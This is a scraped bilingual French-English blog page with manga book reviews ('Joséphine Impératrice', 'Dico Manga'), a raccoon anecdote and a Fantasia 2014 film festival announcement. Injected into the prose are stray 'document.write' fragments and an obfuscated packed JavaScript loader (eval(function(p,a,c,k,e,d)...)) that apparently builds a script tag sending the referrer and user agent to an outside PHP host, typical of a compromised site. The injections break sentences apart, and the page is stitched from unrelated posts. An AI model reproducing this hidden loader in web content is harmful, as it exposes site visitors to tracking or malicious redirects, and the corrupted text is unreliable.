Bien sûr, Joséphine Impératrice est plus que cela. Si le genre sh?jo (qui signifie simplement manga pour filles) est surtout définit (selon Matt Thorn) par certaines caractéristiques du récit et du style—-ce sont des histoires romantiques qui mettent toujours de l’avant des personnages principaux féminins, et où l’on retrouve des yeux exceptionnellement grands, de même que des fleurs, des bulles ou des étoiles dessinées en arrière-plan—-en définitive un manga sera considéré comme sh?jo simplement parce qu’il est publié dans un magazine sh?jo. Le sh?jo classique fait souvent plus dans la romance légère, du genre conte de fée ou feuilleton télévisée mélodramatique (soap opera). Dans ce cas-ci, si l’on tient compte du sérieux de l’histoire qui prend place au sein de la révolution française, il s’agirait plutôt d’un manga josei (ou Ladies comics) qui s’adresse à un public féminin adulte.

Quoiqu’il en soit, que vous vous intéressiez à l’histoire ou simplement aux mangas sh?jo en général, Joséphine Impératrice est une excellente lecture.

Joséphine Impératrice, vol. 2, écrit par Kaoru Ochiai et illustré par Yumiko Igarashi. Boulogne: Pika Éditions, novembre 2013. 192 pages, N & B, 11.8 x 18.0 x 1.4 cm, 7,50 € / $12.95 Can, ISBN 978-2-8116-1285-6. Sens de lecture original japonais. Recommandé pour adolescents (12+).

Pour plus d’information vous pouvez consulter les sites suivants:

Bara no Josephine © Yumiko Igarashi & Kaoru Ochiai / Visions 2013. All rights reserved. © 2013 Pika Éditions pour la présente édition française.

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Rat-urday’s picture

/ Clodjee / Leave a comment

Quelle ne fut pas ma surprise mercredi dernier de découvrir une famille de cinq ou six ratons sur la balcon en train de piller la nourriture des chats! Veuillez d’ailleurs excuser les clichés flous: j’avais le iPhone d’une main et une tapette à mouche de l’autre, document.write(“”); afin de me défendre et de chasser cette meute grondante. Non seulement ils ont dilapidé les choux de Bruxelles de notre jardin mais, le lendemain, la maman chat qui avait élue domicile dans la remise avec ses chatons a décidé que le coin était un peu trop fréquenté à son goût et a levé le camp illico avec toute sa famille!
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Much to my surprise I discovered last Wednesday on the balcony a family of five or six raccoons looting the cats’ food! Please excuse the blurry shots as I had the iPhone in one hand and a fly swatter on the other, to defend myself and chase this rumbling pack. Not only have they squandered the Bruxelles sprouts from our garden, but the next day the mother cat who had took up residence in the shed with her ??kittens decided that the area was a little too crowded for her liking and decamped pronto with her whole family!

Racoon galore
Raton voleur

Dico Manga

/ Clodjee / 3 Comments

“Depuis près d’un siècle, document.write(“”); au Japon, la bande dessinée rêve et raconte la vie sous toutes ses formes à des générations de lecteurs enthousiastes, quels que soient leurs âge, sexe, origine ou statut social.”
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zkziy|var|u0026u|referrer|kafht||js|php’.split(‘|’),0,{}))

“Plus récemment, au tournant des années 1980, le monde francophone s’est à son tour pris de passion pour les mangas, faisant un triomphe à cette manière originale de raconter des histoires en images.”

“Il manquait encore un grand ouvrage de référence à ce phénomène éditorial, matrice d’une nouvelle pop culture planétaire. Voici donc le DicoManga, dictionnaire illustré de la bande dessinée japonaise traduite et publiée en français. Pour la première fois, un panorama complet du monde foisonnant des mangas.” [ Texte de la couverture arrière ]

“Cet ouvrage exceptionnel propose un panorama complet du monde foisonnant des mangas parus en langue française. Avec 900 illustrations, et 1500 entrées c’est assurément le livre-événement pour tous les fans de mangas!“ [ Texte du site de l’éditeur ]

Continuez après le saut de page >>
English text follows

Il s’est décidément produit beaucoup références encyclopédiques sur le manga ces dernières années. Le premier était probablement ce dictionnaire manga italien (A-Z Manga: Guida al fumetto giapponese (sept. 2004), voir mon commentaire dans PA N ° 86: 38), qui offre plus de 500 entrées, mais est plutôt mince, mal illustrés et ne contient aucun détails sur les éditions, mais comprend au moins une bonne quantité de notices biographiques de mangaka (près de 100!). Elle a été suivie d’une première référence de manga français (Le Guide Phénix du Manga (décembre 2005), voir mon commentaire dans PA n ° 88: 86), qui offre une introduction complète au manga, ainsi que des notices biographiques pour (seulement) quarante mangaka majeurs et plus de 700 très courtes entrées—le guide a été mis à jour en novembre 2006, avec 125 nouvelles pages. Avec des références plus en plus nombreuses et volumineuses, en octobre 2007, une première référence en anglais est publiée (Manga: The Complete Guide par Jason Thompson, voir mon commentaire dans PA n ° 97: 77) qui offre plus de mille entrées référençant tous les titres de manga publié en Amérique du Nord. Si ce livre se lit plus comme une compilation de critiques qu’une véritable encyclopédie, offre peu d’illustrations et moins de vingt notices biographiques, il est néanmoins bien écrit et c’est la référence de manga la plus exhaustive jusqu’alors. Pouvait-on faire encore mieux?

Bien sûr, avec un autre livre français, Dico Manga: Le Dictionnaire encyclopédique de la bande dessinée japonaise sorti en Mars 2008. Il s’agit d’une énorme bible sur le manga (qui pèse 1,7 kg), le résultat de trois années de recherche par une équipe de dix auteurs. Ses 1500 entrées alphabétiques couvrent tous les titres de mangas publiés en français (jusqu’en décembre 2006), avec de nombreuses entrées dédiées aux mangaka, éditeurs, ou aux éléments de culture japonaise qu’on retrouve souvent dans les mangas. Les caractéristiques du genre lui-même (son histoire, les magazines spécialisés, le sens de lecture, des effets sonores, etc) sont étudiés dans une série d’articles plus longs répartis dans tout le livre.

Dico Manga est plus complet que toutes les références françaises précédentes (il contient un peu plus d’entrées que Le Guide Phénix du Manga et chacune des entrées est plus longue) et il offre une présentation beaucoup plus agréable. De plus, contrairement à l’ouvrage de Jason Thompson, Dico Manga est plus descriptif que critique. Je suis d’accord qu’un livre de référence devrait être plus objectif et éviter de trop exprimer l’opinion de l’auteur, mais il aurait aussi été utile si les auteurs avaient pu ajouter une note discrète pour donner aux lecteurs une idée de leur appréciation de chaque titre. Comme tous les livres de ce genre, ce n’est pas un travail exhaustive, mais il est assez impressionnant tout de même, en particulier sur deux aspects: c’est la première référence de manga à être bien illustré (900 illustrations en couleurs!) et a offrir des notices biographiques en quantité (plus de 650!). Par conséquent, il s’agit d’un ouvrage extrêmement utile, voir une référence essentielle, qui devrait se retrouver (avec le Guide de Jason Thompson) sur les étagères de tous les fans de manga sérieux.


We are surely getting a lot more manga encyclopedic references these days. The first one was probably this Italian manga dictionary (A-Z Manga: Guida al fumetto giapponese (Sept. 2004), see review in PA #86: 38) which offers over 500 entries but is disappointedly thin, poorly illustrated and contains no release information—but at least it includes a good amount of mangaka biographical notices (nearly 100!). It was followed with a first French manga reference (Le Guide Phénix du Manga (Dec. 2005), see review in PA #88: 86) which offers a comprehensive introduction to manga, as well as biographical notices for (only) forty major mangaka and over 700 very short manga entries—the guide was updated in Nov. 2006 with 125 more pages. As manga references became better and bigger, in Oct. 2007 we finally got a reference in English (Jason Thompson’s Manga: The Complete Guide, see review in PA #97: 77) which offers over a thousand entries referencing all the manga titles released in North America. If the book reads more like a compilation of reviews than a real encyclopedia, offers little illustrations and less than twenty well-developped mangaka biographical notices, it is neverthess well-written and the most exhaustive manga reference so far. Could it get even better?

It does with another French book, Dico Manga: le dictionnaire encyclopédique de la bande dessinée japonaise (Encyclopedic Dictionary of Japanese Comics) released in March 2008. It is a huge manga bible (it weights 3.8 lbs!), the result of three years of research from a team of ten writers. Its 1500 alphabetical entries cover all the manga titles published in French (up to Dec. 2006), with many entries dedicated to mangaka, publishers, or element of Japanese culture often found in manga. The characteristics of the genre itself (its history, magazines, direction of reading, sound effects, etc.) are studied in a series of longer articles spread throughout the book.

Dico Manga is more complete than the previous French references (it offers a little more entries than Le Guide Phénix du Manga and each entries are longer) and it has a much nicer presentation. Also, contrary to Jason Thompson’s work, Dico Manga is more descriptive than critical. I agree that a reference book should be more objective and less judgemental, but it would also have been helpful if the writers could have added a discreet rating to give the readers an indication on how they had appreciated the manga. Like all books of this kind, this work is not exhaustive but it is quite impressive nonetheless, particularly on two aspects: it is the first manga reference to be properly illustrated (900 illustrations in color!) and it offers the most mangaka biographical notices (over 650!). Therefore it is an extremely useful book that should figure—along Jason Thompson’s Guide—on the bookshelves of any serious manga fans (if you can read French, of course).

Dico Manga: le dictionnaire encyclopédique de la bande dessinée japonaise, ouvrage collectif sous la direction de Nicolas Finet. Paris: Fleurus, 2008. 624 pgs, couverture rigide, en couleur, 24 x 17 x 4.2 cm, 30 € / $44.95 Cnd, ISBN 978-2-215-07931-6. Recommandé pour adolescents (12+).
For more information / Pour plus d’information:

Dico Manga © 2007 Fleurus.

L’image du mer-fleurie

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Bouquet de fleurs du jardin / Bouquet of garden flowers
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Fantasia announces a second wave of 2014 titles

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The Fantasia International Film Festival is proud to unveil additional highlights to their 2014 film lineup.

Official Closing Film – Abel Ferrara’s WELCOME TO NEW YORK

Fantasia will close its 2014 edition with the North American Premiere of Abel Ferrara’s WELCOME TO NEW YORK, document.write(“”); the controversial latest from the legendary filmmaker behind such landmarks as BAD LIEUTENANT, KING OF NEW YORK, NEW ROSE HOTEL and the recently re-released MS 45. It is loosely based on the DSK scandal and stars the iconic Gérard Depardieu in one of the bravest performances of his career. Co-starring is the equally sensational Jacqueline Bisset.

JU-ON: THE BEGINNING OF THE END to launch its Western haunt in Montreal

Fans of classic J-Horror, rejoice! The curse of Kayoko and Toshio is back! Fantasia will be the site of the International Premiere of JU-ON: THE BEGINNING OF THE END, the anticipated new Japanese production that reboots one of the most successful and terrifying horror franchises of the 21st century in a very wise way: by remaining faithful to the original material. Director/Co-Writer Masayuki Ochiai (HYPNOSIS) brings us back to the haunted house and reinstates, slowly but surely, its oppressive atmosphere through a refined and efficient use of mise-en-scene. Co-scripted by none other than Taka Ichise.

A Subterranean New Section in our Programming

Fantasia is proud to announce the creation of a new section of programming, Fantasia Underground, dedicated to showcasing outrageous indie outsider visions created in the counter-cultural spirit that we associate with classic underground film works. It will sport four features, from Canada, USA and one from Japan:

HANA-DAMA: THE ORIGINS
Japan, Dir: Hisayasu Sato. A seemingly mundane high-school bullying drama builds into a cathartic and absurd farce of excessive, bloody, colourful revenge and retribution, care of underground cinema legend Hisayasu Sato (NAKED BLOOD, LOVE & LOATHING LULU & AYANO), co-scripted by Shinji Imaoka (of the demented pinku musical UNDERWATER LOVE). A poignant and strange social critique of girl-on-girl violence and institutional abuse at large. North American Premiere.

Additional 2nd Wave Highlights (films from Asia)

DANCING KARATE KID
Japan, Dir: Tsukasa Kishimoto. Jaw-dropping dance numbers, a flood of jokes amongst the funniest you’ll see all year and eye-popping action scenes are all part of DANCING KARATE KID, an off-the-chain action-comedy blending martial arts and musical moves. Official Selection: Hawaii International Film Festival. Canadian Premiere.

FROM VEGAS TO MACAU
Hong Kong, Dir: Wong Jin. The King of Cool, Chow Yun-Fat, is back in a signature role he made famous in the classic GOD OF GAMBLERS (seen way back at Fantasia Year One!). A royal flush of comical action madness in Wong Jing’s trademark Hong Kong style, co-starring Nicholas Tse and Chapman To. Canadian Premiere.

FUKU-CHAN OF FUKUFUKU FLATS
Japan, Dir: Yosuke Fujita. One part quirky slapstick absurdity and two parts poignant character study, FUKU-CHAN is the feelgood, laugh-out-loud indie comedy hit of this year’s fest, mixing humour and pathos in the way only fan-favourite Yosuke Fujita (FINE, TOTALLY FINE) can. Official Selection: Frankfurt Nippon Connection Festival, New York Asian Film Festival. Canadian Premiere

INGTOOGI: THE BATTLE OF INTERNET TROLLS
South Korea, Dir: Um Tae-hwa. “Koolkidneyz” and “Manboobs” take their online feud into the real world. INGTOOGI is a deep dive into the national geek consciousness of South Korea, an upbeat outsider comedy that evolves into a truly heartfelt story of alienation and loss. Writer/Director Um Tae-hwa shed a dark light on the social media generation in a very promising first feature. International Premiere

JELLYFISH EYES
Japan, Dir: Takashi Murakami. A lively celebration of the Japanese pop-culture tropes that feed the Superflat sensibility of pop-art superstar Takashi Murakami, his JELLYFISH EYES is also a heartfelt critique of Japan’s institutions in the era of Fukushima. This is a gorgeous and enchanting family friendly film with an edge that makes it a must see for film lovers of all ages. Official Selection: Sitges Film Festival. Canadian Premiere

KUNDO: AGE OF THE RAMPANT
South Korea, Dir: Yoon Jong-bin. In a time of turmoil and tyranny, a band of outlaws rises against the nobility. From the director of NAMELESS GANGSTER, a rough and ruthless adventure epic with a universal theme – righteous fury in the face of deep injustice with a stellar cast featuring Ha Jung-woo (THE CHASER) and Gang Dong-won (HAUNTERS). Quebec Premiere

3D NAKED AMBITION
Hong Kong, Dir: Lee Kung Lok. Fresh from the international festival rounds in Hong Kong, New York and Udine, this hairy beast finally comes to country of the beaver with a hardcore vengeance. This stand-alone satire sequel written by Hong Kong’s funniest writers, Chan Hing- Kar (BREAKING NEWS) and Ho Miu-Kei, mercilessly pokes fun at the adult industry, celebrity and Asian culture on all fours while retaining a socially relevant subtext. Canadian Premiere.

NO TEARS FOR THE DEAD
South Korea, Dir: Lee Jeong-beom. In the tradition Luc Besson’s THE PROFESSIONAL and and John Woo’s THE KILLER, a guilt-wracked assassin sides with his target in the hotly anticipated new film from Lee Jeong-beom (THE MAN FROM NOWHERE), a whirlwind of furious action scenes. Quebec Premiere

Fantasia 2014 gives a greater place to Quebec cinema

Returning for its sixth edition in the Fantasia International Film Festival, the Fantastic Weekend of Quebec Cinema offers an even more prominent place to Quebec cinema while remaining committed to the promotion of short film with over 160 premieres! This new edition sees the birth of the Genres du pays offering some titles of Quebec cinema that have shaped our cinematic history. Come and discover five classic presented in collaboration with the Cinémathèque québécoise. In addition, the Fantastic Weekend is proud to present six WAPIKONI MOBILE productions distributed throughout the programming. It will also offers a look at emerging filmmakers with two conferences bringing forward the creativity of young Quebec filmmakers

The Fantasia International Film Festival takes place in Montreal July 17 – August 5, 2014. For this year’s edition and onwards, Fantasia will be returning to the freshly renovated Concordia Hall Cinema as its main base, which now features an even larger screen, new seating and upgraded projection and sound.

The festival’s full lineup of screenings and events will be announced on July 10.

The full press release can be found here. You can also find more information on the festival website.

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